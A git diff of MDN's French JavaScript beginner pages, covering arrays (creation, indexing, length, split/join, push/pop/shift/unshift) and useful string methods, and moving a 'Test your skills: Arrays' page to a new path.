Créer un tableau

- -

On définit les valeurs d'un tableau par une liste d'éléments entre crochets droits, séparés par des virgules.

- -
    -
  1. Disons que nous voulons mettre une liste d'achats dans un tableau — nous devons opérer comme suit. Entrez les lignes ci‑après dans la console : - 
    let shopping = ['pain', 'lait', 'fromage', 'houmous', 'nouilles'];
-shopping;
    -
    2. -
  2. Dans ce cas, chaque élément du tableau est une chaîne, mais gardez en tête que vous pouvez stocker n'importe quel élément dans un tableau — chaîne, nombre, objet, autre variable et même d'autres tableaux. Vous pouvez également mélanger et assortir les types d'articles — il n'est pas obligatoire que ce soient tous des nombres, des chaînes, etc. Essayez ceci :
    3. -
  3. - 
    let sequence = [1, 1, 2, 3, 5, 8, 13];
-let random = ['arbre', 795, [0, 1, 2]];
    -
    4. -
  4. Créez donc quelques tableaux de votre cru avant de continuer.
    5. -
- -

Accès aux éléments de tableau et modification de ceux‑ci

- -

Vous pouvez avoir accès isolément aux éléments dans un tableau en utilisant la notation crochet, de la même façon que nous avons eu accès aux lettres dans une chaîne.

- -
    -
  1. Entrez ceci dans la console : - 
    shopping[0];
-// renvoie "pain"
    -
    2. -
  2. Vous pouvez aussi modifier un élément dans un tableau en donnant simplement une nouvelle valeur à l'élément. Essayez ceci : - 
    shopping[0] = 'crème de sésame';
-shopping;
-// shopping renvoie maintenant [ "crème de sésame", "lait", "fromage", "houmous", "nouilles" ]
    - -
    Note : Nous l'avons déjà dit, mais enseigner c'est répéter — les ordinateurs commencent les décomptes à partir de 0 !
    -
    3. -
  3. Notez qu'un tableau à l'intérieur d'un tableau est appelé un tableau multidimensionnel. Vous accédez à un des éléments de ce tableau interne en chaînant deux paires de crochets. Par exemple, pour avoir accès à l'un des éléments (le troisième) du tableau élément du tableau random (voir la section précédente), vous pouvez écrire quelque chose comme :
    4. -
  4. - 
    random[2][2];
    -
    5. -
  5. Poursuivez et faites quelques autres modifications dans les exemples de tableaux avant de poursuivre.
    6. -
- -

Trouver la taille d'un tableau

- -

Vous pouvez trouver la taille d'un tableau (le nombre d'éléments qu'il comporte) de la même façon que vous obtenez la taille (en caractères) d'un chaîne — avec la propriété {{jsxref("Array.prototype.length","length")}}. Essayez :

- -
sequence.length;
-// renvoie 7
- -

Il y a d'autres usages, mais le plus courant permet de dire à une boucle de poursuivre jusqu'à ce que tous les éléments du tableau aient été passés en revue. Ainsi, par exemple :

- -
let sequence = [1, 1, 2, 3, 5, 8, 13];
-for (var i = 0; i < sequence.length; i++) {
-  console.log(sequence[i]);
-}
- -

Vous en apprendrez plus sur les boucles dans un prochain article, mais, en résumé, ce code dit :

- -
    -
  1. Commencer la boucle à l'élément 0 du tableau.
    2. -
  2. Arrêter de tourner quand le dernier élément du tableau sera atteint. Cela fonctionne pour n'importe quelle dimension de tableau ; dans notre cas, on sortira de la boucle à l'élément  7 (c'est bon, car le dernier élément — que nous souhaitons que la boucle traite — est le 6).
    3. -
  3. Afficher chaque élément sur la console de l'explorateur avec console.log().
    4. -
- -

Quelques méthodes utiles pour les tableaux

- -

Dans ce paragraphe nous examinerons quelques méthodes de tableaux à connaître. Elles permettent de scinder des chaînes en éléments de tableau et inversement, et d'ajouter de nouveaux éléments dans des tableaux.

- -

Conversions entre chaînes et tableaux

- -

Souvent, vous serez confronté à des données brutes contenues dans une longue chaîne de caractères, et vous voudrez peut-être en extraire les éléments utiles sous une forme plus pratique pour en faire quelque chose, comme les afficher dans un tableau de données. Pour ce faire, nous pouvons utiliser la méthode {{jsxref ("String. prototype. prototype. split ()","split ()")}}. Dans sa formulation la plus simple, elle prend un seul paramètre, le caractère servant de séparateur ; elle renverra les sous-chaînes entre séparateurs en tant qu'éléments d'un tableau.

- -
-

Note : D'accord, techniquement parlant c'est une méthode de chaîne, et non une méthode de tableau, mais nous la mettons dans le chapitre des tableaux car elle est bien à sa place ici.

-
- -
    -
  1. Servons‑nous en et voyons comment elle fonctionne. D'abord créons une chaîne dans la console : - 
    let myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';
    -
    2. -
  2. Scindons‑la à chaque virgule : - 
    let myArray = myData.split(',');
-myArray;
    -
    3. -
  3. Pour terminer, trouvons la taille du nouveau tableau et retrouvons quelques‑uns de ses éléments : - 
    myArray.length;
-myArray[0]; // le premier élément du tableau
-myArray[1]; // le deuxième élément du tableau
-myArray[myArray.length-1]; // le dernier élément du tableau
    -
    4. -
  4. Vous pouvez également faire le contraire avec la méthode {{jsxref("Array.prototype.join()","join()")}}. Essayons : - 
    let myNewString = myArray.join(',');
-myNewString;
    -
    5. -
  5. Une autre façon de convertir un tableau en chaîne consiste à se servir de la méthode {{jsxref("Array.prototype.toString()","toString()")}}. toString() est plus simple au plan des arguments que join(), car elle ne prend pas de paramètre, mais elle est plus limitée. Avec join() vous pouvez diversifier les séparateurs (essayez de lancer la commande du point 4 avec un caractère autre que la virgule). - 
    let dogNames = ["Rocket","Flash","Bella","Slugger"];
-dogNames.toString(); //Rocket,Flash,Bella,Slugger
    -
    6. -
- -

Ajout et suppression d'éléments de tableau

- -

Nous n'avons pas encore parlé d'ajout et de suppression d'éléments de tableau — allons‑y. Nous utiliserons le tableau myArray dont nous nous sommes servis à la fin de la dernière section. Si vous n'avez pas entré les commandes de cette section dans la console, il est nécessaire de créer d'abord le tableau :

- -
let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];
- -

Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous pouvez respectivement utiliser {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}}.

- -
    -
  1. Voyons push() d'abord — notez que vous devez mettre en paramètre les éléments que vous souhaitez ajouter à la fin du tableau. Essayez ceci : - - 
    myArray.push('Cardiff');
-myArray;
-myArray.push('Bradford', 'Brighton');
-myArray;
-
    -
    2. -
  2. La taille du tableau modifié est renvoyée quand l'appel de la méthode est terminé. Si vous voulez enregistrer la taille du nouveau tableau dans une variable, vous pouvez écrire quelque chose comme ceci : - 
    let newLength = myArray.push('Bristol');
-myArray;
-newLength;
    -
    3. -
  3. Supprimer le dernier élément de la liste est très simple : il suffit de lancer pop() sur celle‑ci. Essayez : - 
    myArray.pop();
    -
    4. -
  4. L'élément supprimé est renvoyé à la fin de l'appel de la méthode. Également : - 
    let removedItem = myArray.pop();
-myArray;
-removedItem;
    -
    5. -
- -

{{jsxref("Array.prototype.unshift()","unshift()")}} et {{jsxref("Array.prototype.shift()","shift()")}} fonctionnent exactement de la même manière, excepté qu'il travaillent sur la tête du tableau au lieu de la queue.

- -
    -
  1. D'abord unshift() — essayez : - - 
    myArray.unshift('Edinburgh');
-myArray;
    -
    2. -
  2. Maintenant shift() — essayez ! - 
    let removedItem = myArray.shift();
-myArray;
-removedItem;
    -
    3. -
- -

Activité : affichons les produits !

- -

Revenons à l'exemple que nous avons décrit plus haut — afficher les noms des produits et leurs prix pour un envoi, puis faire le total des prix et l'afficher à la fin de la liste. Dans l'exemple modifiable ci‑dessous, il y a des commentaires numérotés — chacun d'entre eux marque l'emplacement où vous devez ajouter quelque chose au code. Voici :

- -
    -
  1. Sous le commentaire // number 1 il y a un certain nombre de chaînes de caractères, chacune précise le nom d'un produit et son prix séparé par deux‑points. Placez‑les dans un tableau ; enregistrez‑le sous le nom products.
    2. -
  2. Sur la même ligne que le commentaire // number 2 se trouve le début d'une boucle. Dans cette ligne nous avons actuellement i <= 0, test conditionnel qui fait que la  boucle stoppe immédiatement, car ce test dit « stopper dès que i est inférieur ou égal à 0 » et i part de 0. Remplacez ce test par un qui  n'arrêtera pas la boucle tant que i sera inférieur à la taille du tableau products.
    3. -
  3. Au dessous du commentaire // number 3 nous voudrions que vous écriviez une ligne de code qui scinde l'élément courant du tableau (nom:prix) en deux éléments distincts, un contenant uniquement le nom, l'autre uniquement le prix. Si vous nous ne savez pas trop comment faire, revoyez l'article relatif aux Méthodes utiles pour les chaînes de caractères pour vous aider, ou même mieux, regardez la section {{anch("Converting between strings and arrays")}} de cet article.
    4. -
  4. En plus des lignes de code ci‑dessus, vous aurez aussi à convertir les prix de chaîne de caractères en chiffres. Si vous ne vous souvenez pas comment faire, revoyez le premier article à propos des chaînes.
    5. -
  5. Il y a une variable nommée total créée et initialisée à la valeur de 0 en tête du code. Dans la boucle (sous // number 4) ajoutez une ligne qui ajoute à ce total le prix de l'article courant  à chaque itération de la boucle, de sorte que à la fin du code le prix total soit correctement inscrit sur l'envoi. Vous pourriez avoir besoin d'un opérateur d'assignation pour faire cela ;-).
    6. -
  6. Nous souhaitons que vous modifiez la ligne au‑dessous de  // number 5 de sorte que la variable itemText soit égale à « nom actuel de l'élément — $prix actuel de l'élément », par exemple « Shoes — $23.99 » dans chaque cas, de façon à ce qu'une information correcte soit affichée sur l'envoi. Il s'agit d'une simple concaténation de chaînes de caractères, chose qui doit vous être familière.
    7. -
- - - -

{{ EmbedLiveSample('Playable_code', '100%', 600) }}

- -

Activité : Top 5 des recherches

- -

Une bonne utilisation des méthodes de tableaux comme {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}} permet de conserver un enregistrement des éléments actuellement actifs dans une application web. Dans une scène animée, par exemple, vous pouvez avoir un tableau d'objets représentant les graphiques d'arrière-plan actuellement affichés, et vous pouvez n'en vouloir que 50 à la fois, pour des raisons de performance ou d'encombrement. Chaque fois que de nouveaux objets sont créés et ajoutés au tableau, les plus anciens peuvent être supprimés du tableau pour n'en conserver que le nombre voulu.

- -

Dans cet exemple nous allons montrer une utilisation beaucoup plus simple — ici, nous allons vous fournir un site de recherche fictif, avec une boîte de recherche. Voici l'idée : quand un terme est entré dans la boîte de recherche, les 5 précédents termes entrés sont affichés dans la liste. Quand le nombre de termes dépasse 5, le dernier terme est supprimé chaque fois qu'un nouveau terme est ajouté ; ainsi, le 5 termes précédents sont toujours affichés.

- -
-

Note : Dans une application réelle avec boîte de recherche, vous pourriez vraisemblablement cliquer sur un des termes de la liste pour revenir à la recherche précédente, et l'application afficherait les vrais résultats ! Mais pour le moment nous en resterons à quelque chose de simple.

-
- -

Pour terminer l'application, il vous faut :

- -
    -
  1. Ajouter une ligne sous le commentaire // number 1 pour ajouter la valeur qui vient d'être saisie dans la boîte au début du tableau. Cette valeur est récupérée avec searchInput.value.
    2. -
  2. Ajouter une ligne sous le commentaire // number 2  pour supprimer la valeur en fin de liste du tableau.
    3. -
- - - -

{{ EmbedLiveSample('Playable_code_2', '100%', 600) }}

- -

Testez vos compétences !

- -


- Vous avez atteint la fin de cet article, mais vous souvenez-vous des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien fixé ces connaissances avant de continuer — voir Test de compétences : les tableaux.

- -

Conclusion

- -

Après la lecture de cet article, vous conviendrez que les tableaux semblent fichtrement utiles ; vous les verrez un peu partout en JavaScript, souvent associés à des boucles pour appliquer la même action à chaque élément du tableau. Nous vous indiquerons toutes les bases utiles à savoir à propos des boucles dans le prochain module, mais pour l'instant, félicitations : prenez une pause bien méritée ; vous avez étudié tous les articles du module !

- -

La seule chose restant à faire est de procéder à l'évaluation de ce module pour tester votre compréhension de son contenu.

- -

Voir aussi

- - - -
    -
  • Collections indexées — un guide de niveau avancé à propos des tableaux et de leurs cousins, les tableaux typés.
    • -
  • {{jsxref("Array")}} — la page de référence de l'objet Array — pour un guide de référence détaillé à propos des fonctionnalités discutées dans cette page, et plus encore.
    • -
- -

{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}

- -

Dans ce module

- - diff --git a/files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.html b/files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.html new file mode 100644 index 0000000000..240e934831 --- /dev/null +++ b/files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.html @@ -0,0 +1,87 @@ +--- +title: 'Testez vos compétences: Tableaux' +slug: 'Learn/JavaScript/First_steps/Testes_vos_competence:_Tableaux' +translation_of: 'Learn/JavaScript/First_steps/Test_your_skills:_Arrays' +--- +
{{learnsidebar}}
+ +

This aim of this skill test is to assess whether you've understood our Arrays article.

+ +
+

Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks.
+
+ If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page.

+
+ +
+

Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version).

+
+ +

Arrays 1

+ +

Let's start off with some basic array practice. In this task we'd like you to create an array of three items, stored inside a variable called myArray. The items can be anything you want — how about your favourite foods or bands?

+ +

Next, modify the first two items in the array using simple bracket notation and assignment. Then add a new item to the beginning of the array.

+ +

Try updating the live code below to recreate the finished example:

+ +

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays1.html", '100%', 400)}}

+ +
+

Download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Arrays 2

+ +

Now let's move on to another task. Here you are provided with a string to work with. We'd like you to:

+ +
    +
  1. Convert the string into an array, removing the + characters in the process. Save the result in a variable called myArray.
    2. +
  2. Store the length of the array in a variable called arrayLength.
    3. +
  3. Store the last item in the array in a variable called lastItem.
    4. +
+ +

Try updating the live code below to recreate the finished example:

+ +

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays2.html", '100%', 400)}}

+ +
+

Download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Arrays 3

+ +

For this final array task, we provide you with a starting array, and you will work in somewhat the opposite direction. You need to:

+ +
    +
  1. Remove the last item in the array.
    2. +
  2. Add two new names to the end of the array.
    3. +
  3. Go over each item in the array and add its index number after the name inside parentheses, for example Ryu (0). Note that we don't teach how to do this in the Arrays article, so you'll have to do some research.
    4. +
  4. Finally, join the array items together in a single string called myString, with a separator of " - ".
    5. +
+ +

Try updating the live code below to recreate the finished example:

+ +

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays3.html", '100%', 400)}}

+ +
+

Download the starting point for this task to work in your own editor or in an online editor.

+
+ +

Assessment or further help

+ +

You can practice these examples in the Interactive Editors above.

+ +

If you would like your work assessed, or are stuck and want to ask for help:

+ +
    +
  1. Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections.
    2. +
  2. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: +
      +
    • A descriptive title such as "Assessment wanted for Variables 1 skill test".
      • +
    • Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.
      • +
    • A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.
      • +
    • A link to the actual task or assessment page, so we can find the question you want help with.
      • +
    +
    3. +
diff --git a/files/fr/learn/javascript/first_steps/testes_vos_competence_colon__tableaux/index.html b/files/fr/learn/javascript/first_steps/testes_vos_competence_colon__tableaux/index.html deleted file mode 100644 index 240e934831..0000000000 --- a/files/fr/learn/javascript/first_steps/testes_vos_competence_colon__tableaux/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: 'Testez vos compétences: Tableaux' -slug: 'Learn/JavaScript/First_steps/Testes_vos_competence:_Tableaux' -translation_of: 'Learn/JavaScript/First_steps/Test_your_skills:_Arrays' ---- -
{{learnsidebar}}
- -

This aim of this skill test is to assess whether you've understood our Arrays article.

- -
-

Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks.
-
- If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page.

-
- -
-

Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version).

-
- -

Arrays 1

- -

Let's start off with some basic array practice. In this task we'd like you to create an array of three items, stored inside a variable called myArray. The items can be anything you want — how about your favourite foods or bands?

- -

Next, modify the first two items in the array using simple bracket notation and assignment. Then add a new item to the beginning of the array.

- -

Try updating the live code below to recreate the finished example:

- -

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays1.html", '100%', 400)}}

- -
-

Download the starting point for this task to work in your own editor or in an online editor.

-
- -

Arrays 2

- -

Now let's move on to another task. Here you are provided with a string to work with. We'd like you to:

- -
    -
  1. Convert the string into an array, removing the + characters in the process. Save the result in a variable called myArray.
    2. -
  2. Store the length of the array in a variable called arrayLength.
    3. -
  3. Store the last item in the array in a variable called lastItem.
    4. -
- -

Try updating the live code below to recreate the finished example:

- -

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays2.html", '100%', 400)}}

- -
-

Download the starting point for this task to work in your own editor or in an online editor.

-
- -

Arrays 3

- -

For this final array task, we provide you with a starting array, and you will work in somewhat the opposite direction. You need to:

- -
    -
  1. Remove the last item in the array.
    2. -
  2. Add two new names to the end of the array.
    3. -
  3. Go over each item in the array and add its index number after the name inside parentheses, for example Ryu (0). Note that we don't teach how to do this in the Arrays article, so you'll have to do some research.
    4. -
  4. Finally, join the array items together in a single string called myString, with a separator of " - ".
    5. -
- -

Try updating the live code below to recreate the finished example:

- -

{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/arrays/arrays3.html", '100%', 400)}}

- -
-

Download the starting point for this task to work in your own editor or in an online editor.

-
- -

Assessment or further help

- -

You can practice these examples in the Interactive Editors above.

- -

If you would like your work assessed, or are stuck and want to ask for help:

- -
    -
  1. Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections.
    2. -
  2. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: -
      -
    • A descriptive title such as "Assessment wanted for Variables 1 skill test".
      • -
    • Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.
      • -
    • A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.
      • -
    • A link to the actual task or assessment page, so we can find the question you want help with.
      • -
    -
    3. -
diff --git a/files/fr/learn/javascript/first_steps/useful_string_methods/index.html b/files/fr/learn/javascript/first_steps/useful_string_methods/index.html new file mode 100644 index 0000000000..d81c3ccb4e --- /dev/null +++ b/files/fr/learn/javascript/first_steps/useful_string_methods/index.html @@ -0,0 +1,479 @@ +--- +title: Méthodes utiles pour les chaînes de caractères +slug: Learn/JavaScript/First_steps/methode_chaine_utile +tags: + - Apprentissage + - Article + - Codage + - Débutant + - JavaScript + - Longueur + - cas + - couper + - indexof + - majuscule + - minuscule + - remplacer +translation_of: Learn/JavaScript/First_steps/Useful_string_methods +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}
+ +

À présent que nous avons vu les bases de la manipulation des chaînes de caractères, allons un cran plus loin et commençons à imaginer les opérations utiles que nous pourrions faire sur les chaînes de caractères avec les méthodes intégrées : trouver la longueur d'une chaîne, assembler ou couper des chaînes, substituer un caractère à un autre dans une chaîne, et plus encore.

+ + + + + + + + + + + + +
Prérequis :Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.
Objectif :Comprendre que les chaînes de caractères sont des objets, et apprendre à utiliser certaines méthodes basiques disponibles sur ces objets pour manipuler les chaînes.
+ +

Les chaînes de caractères sont des objets

+ +

Nous l'avons déjà dit, et nous le redirons — tout est objet en JavaScript. Lorsque vous créez une chaîne, par exemple en utilisant :

+ +
let string = 'Ceci est une chaîne';
+ +

votre variable devient une instance de l'objet String, et par conséquent possède un grand nombre de propriétés et de méthodes associées. Allez sur la page de l'objet {{jsxref("String")}} et regardez la liste sur le côté de la page !

+ +

Avant que votre cervelle ne commence à bouillir, pas de panique ! Vous n'avez vraiment pas besoin de connaître la plupart des méthodes de cette liste au début de cet apprentissage. Mais il est probable que vous utiliserez  certaines assez souvent. Nous allons les voir maintenant.

+ +

Entrez quelques exemples dans une console vierge. En voici une ci-dessous (vous pouvez aussi ouvrir cette console dans un onglet ou une fenêtre séparés, ou utiliser la console de développement du navigateur si vous préférez).

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 300) }}

+ +

Trouver la longueur d'une chaîne

+ +

C'est facile — il suffit d'utiliser la propriété {{jsxref("String.prototype.length", "length")}}. Entrez ceci :

+ +
let browserType = 'mozilla';
+browserType.length;
+ +

Cette commande doit renvoyer le nombre 7, parce que « mozilla » comporte 7 caractères. C'est utile pour de nombreuses raisons ; par exemple, vous pourriez avoir besoin de trouver les longueurs d'une série de noms pour les afficher par taille ou faire savoir à un utilisateur qu'il a entré un nom trop long dans un champ de formulaire à partir du moment où il dépasse une certaine taille.

+ +

Retrouver un caractère donné dans une chaîne

+ +

Dans le même ordre d'idées, il est possible de faire renvoyer tout caractère d'une chaîne avec la notation crochets — c'est-à-dire en ajoutant des crochets ([]) à la fin du nom de la variable. Entre les crochets, mettez le rang du caractère à retrouver ; par exemple, pour retrouver le premier caractère, vous devez  écrire ceci :

+ +
browserType[0];
+ +

Les ordinateurs décomptent à partir de 0, pas de 1 ! Pour retrouver le dernier caractère de n'importe quelle chaîne, on peut utiliser la commande qui suit ; elle combine cette technique avec la propriété length  que nous avons vue plus haut :

+ +
browserType[browserType.length-1];
+ +

La longueur de « mozilla » est de 7 caractères, mais comme le décompte se fait à partir de 0, la position du caractère est 6, d'où la nécessité d'écrire length-1. Vous pourrez utiliser cette propriété pour, par exemple, trouver la première lettre d'une série de chaînes et les trier alphabétiquement.

+ +

Trouver une sous-chaîne à l'intérieur d'une chaîne et l'extraire

+ +
    +
  1. Parfois, vous aurez besoin de trouver si une chaîne est présente à l'intérieur d'une autre chaîne plus grande (on dit en général si une sous-chaîne est présente à l'intérieur d'une chaîne). La méthode {{jsxref("String.prototype.indexOf()", "indexOf()")}} permet de le faire ; elle prend un unique ({{glossary("parameter")}}) — la sous-chaîne recherchée. Essayez : + + 
    browserType.indexOf('zilla');
    + La commande donne 2 comme résultat, car la sous-chaîne « zilla » commence à la position 2 (0, 1, 2 — donc au troisième caractère) dans « mozilla ». Un tel code s'utilise pour filtrer des chaînes. Par exemple, vous pourriez avoir une liste d'adresses web et ne vouloir afficher que celles qui contiennent « mozilla ».
    2. +
+ +
    +
  1. On peut faire cela autrement, peut-être plus efficacement encore. Écrivez : + 
    browserType.indexOf('vanilla');
    + Cela doit vous donner -1 comme résultat — renvoyé quand la sous-chaîne, en l'occurence « vanilla », n'est pas trouvée dans la chaîne principale.
    +
    + Vous pouvez utiliser cette propriété pour trouver tous les cas de chaînes ne contenant pas la sous-chaîne « mozilla », ou bien la contenant, si vous utilisez l'opérateur négation logique, tel que montré ci-dessous. Vous pourriez faire quelque chose comme : + + 
    if(browserType.indexOf('mozilla') !== -1) {
+  // faire des tas de choses avec la chaîne
+}
    +
    2. +
  2. Lorsque vous savez où la sous-chaîne commence à l'intérieur de la chaîne, et savez à quel caractère elle prend fin, vous pouvez utiliser {{jsxref("String.prototype.slice()", "slice()")}} pour l'extraire. Voyez ce code : + 
    browserType.slice(0,3);
    + Il renvoie « moz » — le premier paramètre est la position du caractère où doit commencer l'extraction, et le second paramètre est la position du caractère se trouvant après le dernier à extraire. Ainsi, l'extraction va de la première position à la dernière, celle-ci non comprise. On peut dire, dans notre cas, que le second paramètre est égal à la longueur de la chaîne retournée.
    3. +
  3. Également, si vous souhaitez extraire tous les caractères après un caractère donné jusqu'à la fin de la chaîne, vous n'avez pas à mettre le second paramètre ! Il suffit d'indiquer la position du caractère à partir duquel vous voulez extraire les caractères restants dans la chaîne. Essayez la commande : + 
    browserType.slice(2);
    + Elle renvoie « zilla » — le caractère à la position 2 est « z » et comme nous n'avons pas mis de second paramètre, la sous-chaîne retournée comporte tous les caractères restants de la chaîne.
    4. +
+ +
+

Note : Le second paramètre de slice() est optionnel : s'il n'est pas defini, l'extraction va jusqu'à la fin de la chaîne originale. Il existe aussi d'autres options, allez à la page de {{jsxref("String.prototype.slice()", "slice()")}} pour voir ces autres options.

+
+ +

Changer la casse

+ +

Les méthodes {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} et {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}} s'appliquent à une chaîne et en convertissent tous les caractères, respectivement en minuscules ou en majuscules. C'est utile si, par exemple, vous souhaitez normaliser toutes les données entrées par des utilisateurs avant de les stocker dans une base de données.

+ +

Essayons d'entrer les lignes suivantes et voyons ce qui se passe :

+ +
let radData = 'My NaMe Is MuD';
+radData.toLowerCase();
+radData.toUpperCase();
+ +

Actualiser des parties de chaîne

+ +

Vous pouvez remplacer une sous-chaîne à l'intérieur d'une chaîne avec une autre sous-chaîne à l'aide de la méthode {{jsxref("String.prototype.replace()", "replace()")}}. Cela fonctionne très simplement au niveau basique, bien qu'il soit possible de faire des choses plus avancées, mais nous ne y attarderons pas maintenant.

+ +

La méthode prend deux paramètres — la chaîne que vous voulez remplacer et la chaîne avec laquelle vous voulez la remplacer. Essayez avec cet exemple :

+ +
browserType.replace('moz','van');
+ +

À noter : pour que, dans un programme réel, la variable browserType reflète effectivement la valeur actualisée, il faut assigner à la valeur de la variable le résultat de l'opération ; cette dernière ne met pas à jour automatiquement la valeur de la sous-chaîne. Pour ce faire, il faut écrire : browserType = browserType.replace('moz','van');

+ +

Apprendre en pratiquant

+ +

Dans cette section, vous allez pouvoir vous entraîner à écrire du code de manipulation de chaîne. Dans chacun des exercices ci-dessous, nous avons un tableau de chaînes, une boucle qui traîte chaque valeur dans le tableau et l'affiche dans une liste à puces. Vous n'avez pas besoin de comprendre comment fonctionnent les tableaux ou les boucles dès maintenant — cela vous sera expliqué dans de prochains articles. Tout ce dont vous avez besoin dans chaque cas est d'écrire le code qui va renvoyer les chaînes dans le format souhaité.

+ +

Chaque exemple est accompagné d'un bouton « Réinitialiser », que vous pouvez utiliser pour réinitialiser le code si vous faites une erreur et que vous ne parvenez pas à la corriger, et un bouton « Montrer la solution » sur lequel vous pouvez cliquer pour afficher une réponse possible si jamais vous êtes vraiment bloqué.

+ +

Filtrer des messages de vœux

+ +

Dans ce premier exercice, nous commencerons simplement — nous avons un tableau de carte de voeux, mais nous voulons les trier pour ne lister que les messages concernant Noël. Nous attendons de vous que vous utilisiez un test conditionnel à l'intérieur d'une structure if( ... ), pour tester chaque chaîne et ne l'afficher dans la liste que si elle contient un message concernant Noël.

+ +
    +
  1. Réfléchissez d'abord à comment vérifier que le message concerne Noël. Quelle chaîne est présente dans tous ces messages, et quelle méthode pourriez-vous utiliser pour en tester la présence ?
    2. +
  2. Il vous faudra alors écrire un test conditionnel sous la forme opérande1 opérateur opérande2. La chose à gauche est-elle égale à la chose à droite ? Ou dans notre cas, l'appel de méthode de gauche renvoie-t-il le résultat de droite ?
    3. +
  3. Conseil : dans notre cas, il est probablement plus utile de tester si le résultat de l'appel de notre méthode n'est pas égal à un certain résultat.
    4. +
+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 490) }}

+ +

Remettre les majuscules

+ +

Dans cet exercice, nous avons des noms des villes du Royaume-Uni, mais les majuscules ne sont pas au bon endroit. Nous souhaitons modifier les noms pour qu'ils soient en minuscules à l'exception de la première lettre qui doit être une majuscule. Une bonne manière de faire ceci :

+ +
    +
  1. Convertissez la totalité de la chaîne contenue dans la variable input en minuscules et stockez-la dans une nouvelle variable.
    2. +
  2. Récupérez la première lettre de la chaîne dans cette nouvelle variable et stockez-la dans une autre variable.
    3. +
  3. En utilisant la dernière variable comme une sous-chaîne, remplacez la première lettre de la chaîne en minuscules par la première lettre de la chaîne en minuscules transformé en majuscules. Stockez le résultat de cette procédure de remplacement dans une autre nouvelle variable.
    4. +
  4. Changez la valeur de la variable result afin qu'elle soit égale au résultat final plutôt qu'à input.
    5. +
+ +
+

Note: Un conseil — les paramètres des méthodes de chaîne n'ont pas besoin d'être des chaînes, elle peuvent aussi être des variables, ou même des variables avec une méthode invoquée sur elles.

+
+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 450) }}

+ +

Créer de nouvelles chaînes à partir de morceaux

+ +

Dans ce dernier exercice, le tableau contient un lot de chaînes contenant des informations à propos d'arrêts de train dans le nord de l'Angleterre. Les chaînes sont des éléments de données contenant le code en trois lettres de l'arrêt, suivi par des données lisibles par machine, suivi par un point-virgule, et enfin le nom de la station lisible par un humain. Par exemple :

+ +
MAN675847583748sjt567654;Manchester Piccadilly
+ +

Nous voulons extraire le code de la station et son nom, et les associer dans une chaîne avec la structure suivante :

+ +
MAN: Manchester Piccadilly
+ +

Nous vous recommandons de procéder de la manière suivante :

+ +
    +
  1. Extraire le code de trois lettres de la station et le stocker dans une nouvelle variable.
    2. +
  2. Trouver la position du caractère point-virgule.
    3. +
  3. Extraire le nom de la station lisible par un humain en utilisant la position du caractère point virgule comme référence, et le stocker dans une nouvelle variable.
    4. +
  4. Concaténer les deux nouvelles variables et une chaîne pour fabriquer la chaîne finale.
    5. +
  5. Changer la valeur de la variable result pour qu'elle soit égale à la chaîne finale, plutôt qu'à input.
    6. +
+ + + +

{{ EmbedLiveSample('Playable_code_3', '100%', 485) }}

+ +

Conclusion

+ +

